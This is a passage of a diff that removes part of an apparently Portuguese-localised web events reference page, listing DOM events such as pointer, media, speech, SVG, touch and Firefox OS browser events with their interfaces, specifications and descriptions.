- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#paste-event">Clipboard</a></td>
- <td>Data has been transferred from the system clipboard to the document.</td>
- </tr>
- <tr>
- <td>{{event("pause")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-pause">HTML5 media</a></td>
- <td>Playback has been paused.</td>
- </tr>
- <tr>
- <td>{{event("pause_(SpeechSynthesis)", "pause")}} {{experimental_inline}}</td>
- <td>{{domxref("SpeechSynthesisEvent")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The utterance is paused part way through.</td>
- </tr>
- <tr>
- <td>{{event("pointercancel")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointercancel-event">Pointer Events</a></td>
- <td>The pointer is unlikely to produce any more events.</td>
- </tr>
- <tr>
- <td>{{event("pointerdown")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerdown-event">Pointer Events</a></td>
- <td>The pointer enters the active buttons state.</td>
- </tr>
- <tr>
- <td>{{event("pointerenter")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerenter-event">Pointer Events</a></td>
- <td>Pointing device is moved inside the hit-testing boundary.</td>
- </tr>
- <tr>
- <td>{{event("pointerleave")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerleave-event">Pointer Events</a></td>
- <td>Pointing device is moved out of the hit-testing boundary.</td>
- </tr>
- <tr>
- <td>{{event("pointerlockchange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
- <td>The pointer was locked or released.</td>
- </tr>
- <tr>
- <td>{{event("pointerlockerror")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
- <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
- </tr>
- <tr>
- <td>{{event("pointermove")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointermove-event">Pointer Events</a></td>
- <td>The pointer changed coordinates.</td>
- </tr>
- <tr>
- <td>{{event("pointerout")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerout-event">Pointer Events</a></td>
- <td>The pointing device moved out of hit-testing boundary or leaves detectable hover range.</td>
- </tr>
- <tr>
- <td>{{event("pointerover")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerover-event">Pointer Events</a></td>
- <td>The pointing device is moved into the hit-testing boundary.</td>
- </tr>
- <tr>
- <td>{{event("pointerup")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerup-event">Pointer Events</a></td>
- <td>The pointer leaves the active buttons state.</td>
- </tr>
- <tr>
- <td>{{event("play")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-play">HTML5 media</a></td>
- <td>Playback has begun.</td>
- </tr>
- <tr>
- <td>{{event("playing")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
- <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
- </tr>
- <tr>
- <td>{{event("popstate")}}</td>
- <td>{{domxref("PopStateEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></td>
- <td>A session history entry is being navigated to (in certain cases).</td>
- </tr>
- <tr>
- <td>{{event("progress")}}</td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-progress">XMLHttpRequest</a></td>
- <td>Em progresso.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code></td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
- <td>The user agent is downloading resources listed by the manifest.</td>
- </tr>
- <tr>
- <td>{{event("push")}}</td>
- <td>{{domxref("PushEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;">{{SpecName("Push API")}}</td>
- <td>A <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker</a> has received a push message.</td>
- </tr>
- <tr>
- <td>{{event("pushsubscriptionchange")}}</td>
- <td>{{domxref("PushEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;">{{SpecName("Push API")}}</td>
- <td>A <a href="/en-US/docs/Web/API/PushSubscription">PushSubscription</a> has expired.</td>
- </tr>
- <tr>
- <td>{{event("ratechange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 media</a></td>
- <td>The playback rate has changed.</td>
- </tr>
- <tr>
- <td>{{event("readystatechange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><span>HTML5 <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-readystatechange">XMLHttpRequest</a></td>
- <td>The readyState attribute of a document has changed.</td>
- </tr>
- <tr>
- <td>{{event("repeatEvent")}}</td>
- <td>{{domxref("TimeEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element is repeated.</td>
- </tr>
- <tr>
- <td>{{event("reset")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-0#resetting-a-form">HTML5</a></td>
- <td>A form is reset.</td>
- </tr>
- <tr>
- <td>{{event("resize")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a></td>
- <td>The document view has been resized.</td>
- </tr>
- <tr>
- <td>{{event("resourcetimingbufferfull")}}</td>
- <td>{{domxref("Performance")}}</td>
- <td style="white-space: nowrap;"><a href="https://w3c.github.io/resource-timing/#dom-performance-onresourcetimingbufferfull">Resource Timing</a></td>
- <td>The browser's resource timing buffer is full.</td>
- </tr>
- <tr>
- <td>{{event("result")}} {{experimental_inline}}</td>
- <td>{{domxref("SpeechRecognitionEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.</td>
- </tr>
- <tr>
- <td>{{event("resume")}} {{experimental_inline}}</td>
- <td>{{domxref("SpeechSynthesisEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>A paused utterance is resumed.</td>
- </tr>
- <tr>
- <td>{{event("scroll")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a></td>
- <td>The document view or an element has been scrolled.</td>
- </tr>
- <tr>
- <td>{{event("seeked")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeked">HTML5 media</a></td>
- <td>A <em>seek</em> operation completed.</td>
- </tr>
- <tr>
- <td>{{event("seeking")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></td>
- <td>A <em>seek</em> operation began.</td>
- </tr>
- <tr>
- <td>{{event("select")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select">DOM L3</a></td>
- <td>Some text is being selected.</td>
- </tr>
- <tr>
- <td>{{event("selectstart")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{ SpecName('Selection API')}}</td>
- <td>A selection just started.</td>
- </tr>
- <tr>
- <td>{{event("selectionchange")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{ SpecName('Selection API')}}</td>
- <td>The selection in the document has been changed.</td>
- </tr>
- <tr>
- <td>{{event("show")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
- <td>A contextmenu event was fired on/bubbled to an element that has a <a href="/en-US/docs/DOM/element.contextmenu">contextmenu</a> attribute</td>
- </tr>
- <tr>
- <td>{{event("soundend")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>Any sound — recognisable speech or not — has stopped being detected.</td>
- </tr>
- <tr>
- <td>{{event("soundstart")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>Any sound — recognisable speech or not — has been detected.</td>
- </tr>
- <tr>
- <td>{{event("speechend")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>Speech recognised by the speech recognition service has stopped being detected.</td>
- </tr>
- <tr>
- <td>{{event("speechstart")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>Sound that is recognised by the speech recognition service as speech has been detected.</td>
- </tr>
- <tr>
- <td>{{event("stalled")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-stalled">HTML5 media</a></td>
- <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
- </tr>
- <tr>
- <td>{{event("start_(SpeechRecognition)","start")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.</td>
- </tr>
- <tr>
- <td>{{event("start_(SpeechSynthesis)","start")}}</td>
- <td>{{domxref("SpeechSynthesisEvent")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The utterance has begun to be spoken.</td>
- </tr>
- <tr>
- <td>{{event("storage")}}</td>
- <td>{{domxref("StorageEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></td>
- <td>A storage area (<a href="/en-US/docs/DOM/Storage#localStorage">localStorage</a> or <a href="/en-US/docs/DOM/Storage#sessionStorage">sessionStorage</a>) has changed.</td>
- </tr>
- <tr>
- <td>{{event("submit")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></td>
- <td>A form is submitted.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code></td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
- <td>A request successfully completed.</td>
- </tr>
- <tr>
- <td>{{event("suspend")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-suspend">HTML5 media</a></td>
- <td>Media data loading has been suspended.</td>
- </tr>
- <tr>
- <td>{{event("SVGAbort")}}</td>
- <td>{{domxref("SVGEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>Page loading has been stopped before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
- </tr>
- <tr>
- <td>{{event("SVGError")}}</td>
- <td>{{domxref("SVGEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>An error has occurred before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
- </tr>
- <tr>
- <td>{{event("SVGLoad")}}</td>
- <td>{{domxref("SVGEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>An <a href="/en-US/docs/SVG">SVG</a> document has been loaded and parsed.</td>
- </tr>
- <tr>
- <td>{{event("SVGResize")}}</td>
- <td>{{domxref("SVGEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>An <a href="/en-US/docs/SVG">SVG</a> document is being resized.</td>
- </tr>
- <tr>
- <td>{{event("SVGScroll")}}</td>
- <td>{{domxref("SVGEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>An <a href="/en-US/docs/SVG">SVG</a> document is being scrolled.</td>
- </tr>
- <tr>
- <td>{{event("SVGUnload")}}</td>
- <td>{{domxref("SVGEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>An <a href="/en-US/docs/SVG">SVG</a> document has been removed from a window or frame.</td>
- </tr>
- <tr>
- <td>{{event("SVGZoom")}}</td>
- <td>{{domxref("SVGZoomEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>An <a href="/en-US/docs/SVG">SVG</a> document is being zoomed.</td>
- </tr>
- <tr>
- <td>{{event("timeout")}}</td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-timeout">XMLHttpRequest</a></td>
- <td> </td>
- </tr>
- <tr>
- <td>{{event("timeupdate")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></td>
- <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
- </tr>
- <tr>
- <td>{{event("touchcancel")}}</td>
- <td>{{domxref("TouchEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a></td>
- <td>A touch point has been disrupted in an implementation-specific manners (too many touch points for example).</td>
- </tr>
- <tr>
- <td>{{event("touchend")}}</td>
- <td>{{domxref("TouchEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></td>
- <td>A touch point is removed from the touch surface.</td>
- </tr>
- <tr>
- <td>{{event("touchmove")}}</td>
- <td>{{domxref("TouchEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchmove-event">Touch Events</a></td>
- <td>A touch point is moved along the touch surface.</td>
- </tr>
- <tr>
- <td>{{event("touchstart")}}</td>
- <td>{{domxref("TouchEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a></td>
- <td>A touch point is placed on the touch surface.</td>
- </tr>
- <tr>
- <td>{{event("transitionend")}}</td>
- <td>{{domxref("TransitionEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-transitions/#transition-events">CSS Transitions</a></td>
- <td>A <a href="/en-US/docs/CSS/CSS_transitions">CSS transition</a> has completed.</td>
- </tr>
- <tr>
- <td>{{event("unload")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload">DOM L3</a></td>
- <td>The document or a dependent resource is being unloaded.</td>
- </tr>
- <tr>
- <td>{{event("updateready")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
- <td>The resources listed in the manifest have been newly redownloaded, and the script can use <code>swapCache()</code> to switch to the new cache.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code></td>
- <td> </td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
- <td>An attempt was made to open a database with a version number higher than its current version. A <code>versionchange</code> transaction has been created.</td>
- </tr>
- <tr>
- <td>{{event("userproximity")}}</td>
- <td>{{domxref("UserProximityEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;">{{SpecName("Proximity Events")}}</td>
- <td>Fresh data is available from a proximity sensor (indicates whether the nearby object is <code>near</code> the device or not).</td>
- </tr>
- <tr>
- <td>{{event("voiceschanged")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The list of {{domxref("SpeechSynthesisVoice")}} objects that would be returned by the {{domxref("SpeechSynthesis.getVoices()")}} method has changed (when the {{event("voiceschanged")}} event fires.)</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></td>
- <td> </td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
- <td>A <code>versionchange</code> transaction completed.</td>
- </tr>
- <tr>
- <td>{{event("visibilitychange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/page-visibility/#sec-visibilitychange-event">Page visibility</a></td>
- <td>The content of a tab has become visible or has been hidden.</td>
- </tr>
- <tr>
- <td>{{event("volumechange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-volumechange">HTML5 media</a></td>
- <td>The volume has changed.</td>
- </tr>
- <tr>
- <td>{{event("waiting")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-waiting">HTML5 media</a></td>
- <td>Playback has stopped because of a temporary lack of data.</td>
- </tr>
- <tr>
- <td>{{event("wheel")}}{{gecko_minversion_inline("17")}}</td>
- <td>{{domxref("WheelEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-wheel">DOM L3</a></td>
- <td>A wheel button of a pointing device is rotated in any direction.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Eventos_não_padrão">Eventos não padrão</h2>
-
-<table class="standard-table" style="width: 100%;">
- <thead>
- <tr>
- <th class="header" style="width: 220px;">Nome do Evento</th>
- <th class="header" style="width: 90px;">Tipo de Evento</th>
- <th class="header" style="width: 100px;">Especificação</th>
- <th class="header">Executado quando...</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("afterscriptexecute")}}</td>
- <td>{{domxref("Event")}}</td>
- <td><em>Mozilla Specific</em></td>
- <td>A script has been executed.</td>
- </tr>
- <tr>
- <td>{{event("beforescriptexecute")}}</td>
- <td>{{domxref("Event")}}</td>
- <td><em>Mozilla Specific</em></td>
- <td>A script is about to be executed.</td>
- </tr>
- <tr>
- <td>{{event("beforeinstallprompt")}}</td>
- <td>{{domxref("Event")}}</td>
- <td><em>Chrome specific</em></td>
- <td>A user is prompted to save a web site to a home screen on mobile.</td>
- </tr>
- <tr>
- <td>{{event("cardstatechange")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>The {{domxref("MozMobileConnection.cardState")}} property changes value.</td>
- </tr>
- <tr>
- <td>{{event("change")}}</td>
- <td>{{domxref("DeviceStorageChangeEvent")}}</td>
- <td><em>Firefox OS specific</em></td>
- <td>This event is triggered each time a file is created, modified or deleted on a given storage area.</td>
- </tr>
- <tr>
- <td>{{event("connectionInfoUpdate")}}</td>
- <td> </td>
- <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#176"><em>Firefox OS specific</em></a></td>
- <td>The informations about the signal strength and the link speed have been updated.</td>
- </tr>
- <tr>
- <td>{{event("cfstatechange")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>The call forwarding state changes.</td>
- </tr>
- <tr>
- <td>{{event("datachange")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>The {{domxref("MozMobileConnection.data")}} object changes values.</td>
- </tr>
- <tr>
- <td>{{event("dataerror")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>The {{domxref("MozMobileConnection.data")}} object receive an error from the <abbr title="Radio Interface Layer">RIL</abbr>.</td>
- </tr>
- <tr>
- <td>{{event("DOMMouseScroll")}}{{deprecated_inline}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>The wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{event("wheel")}} instead)</td>
- </tr>
- <tr>
- <td><code>dragdrop</code> {{deprecated_inline}}</td>
- <td><code>DragEvent</code></td>
- <td><em>Mozilla specific</em></td>
- <td>An element is dropped (use {{event("drop")}} instead).</td>
- </tr>
- <tr>
- <td><code>dragexit</code> {{deprecated_inline}}</td>
- <td><code>DragEvent</code></td>
- <td><em>Mozilla specific</em></td>
- <td>A drag operation is being ended(use {{event("dragend")}} instead).</td>
- </tr>
- <tr>
- <td><code>draggesture</code> {{deprecated_inline}}</td>
- <td><code>DragEvent</code></td>
- <td><em>Mozilla specific</em></td>
- <td>The user starts dragging an element or text selection (use {{event("dragstart")}} instead).</td>
- </tr>
- <tr>
- <td>{{event("icccardlockerror")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>the {{domxref("MozMobileConnection.unlockCardLock()")}} or {{domxref("MozMobileConnection.setCardLock()")}} methods fails.</td>
- </tr>
- <tr>
- <td>{{event("iccinfochange")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>The {{domxref("MozMobileConnection.iccInfo")}} object changes.</td>
- </tr>
- <tr>
- <td>{{event("localized")}}</td>
- <td> </td>
- <td><em><a href="https://github.com/fabi1cazenave/webL10n">Mozilla Specific</a></em></td>
- <td>The page has been localized using data-l10n-* attributes.</td>
- </tr>
- <tr>
- <td>{{event("mousewheel")}}{{deprecated_inline}}</td>
- <td> </td>
- <td><a href="http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx"><em>IE invented</em></a></td>
- <td>The wheel button of a pointing device is rotated.</td>
- </tr>
- <tr>
- <td>{{event("MozAudioAvailable")}}</td>
- <td>{{domxref("Event")}}</td>
- <td><em>Mozilla specific</em></td>
- <td>The audio buffer is full and the corresponding raw samples are available.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozBeforeResize"><code>MozBeforeResize</code></a> {{obsolete_inline}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>Uma janela está prestes a ser redimensionada.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowseractivitydone")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when some activity has been completed (complete description TBD.)</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserasyncscroll")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the scroll position within a browser<code> </code>{{HTMLElement("iframe")}} changes.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowseraudioplaybackchange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when audio starts or stops playing within the browser {{HTMLElement("iframe")}} content.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsercaretstatechanged")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the text selected inside the browser {{HTMLElement("iframe")}} content changes.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserclose")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when window.close() is called within a browser {{HTMLElement("iframe")}}.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsercontextmenu")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when a browser {{HTMLElement("iframe")}} try to open a context menu.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserdocumentfirstpaint")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when a new paint occurs on any document in the browser {{HTMLElement("iframe")}}.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsererror")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when an error occured while trying to load a content within a browser iframe</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserfindchange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when a search operation is performed on the browser {{HTMLElement("iframe")}} content (see <a href="/en-US/docs/Web/API/HTMLIFrameElement#Search_methods">HTMLIFrameElement search methods</a>.)</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserfirstpaint")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the {{HTMLElement("iframe")}} paints content for the first time (this doesn't include the initial paint from <em>about:blank</em>.)</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsericonchange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the favicon of a browser iframe changes.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserlocationchange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when an browser iframe's location changes.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserloadend")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the browser iframe has finished loading all its assets.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserloadstart")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the browser iframe starts to load a new page.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsermanifestchange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when a the path to the app manifest changes, in the case of a browser {{HTMLElement("iframe")}} with an open web app embedded in it.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsermetachange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when a {{htmlelement("meta")}} elelment is added to, removed from or changed in the browser {{HTMLElement("iframe")}}'s content.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowseropensearch")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when a link to a search engine is found.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowseropentab")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
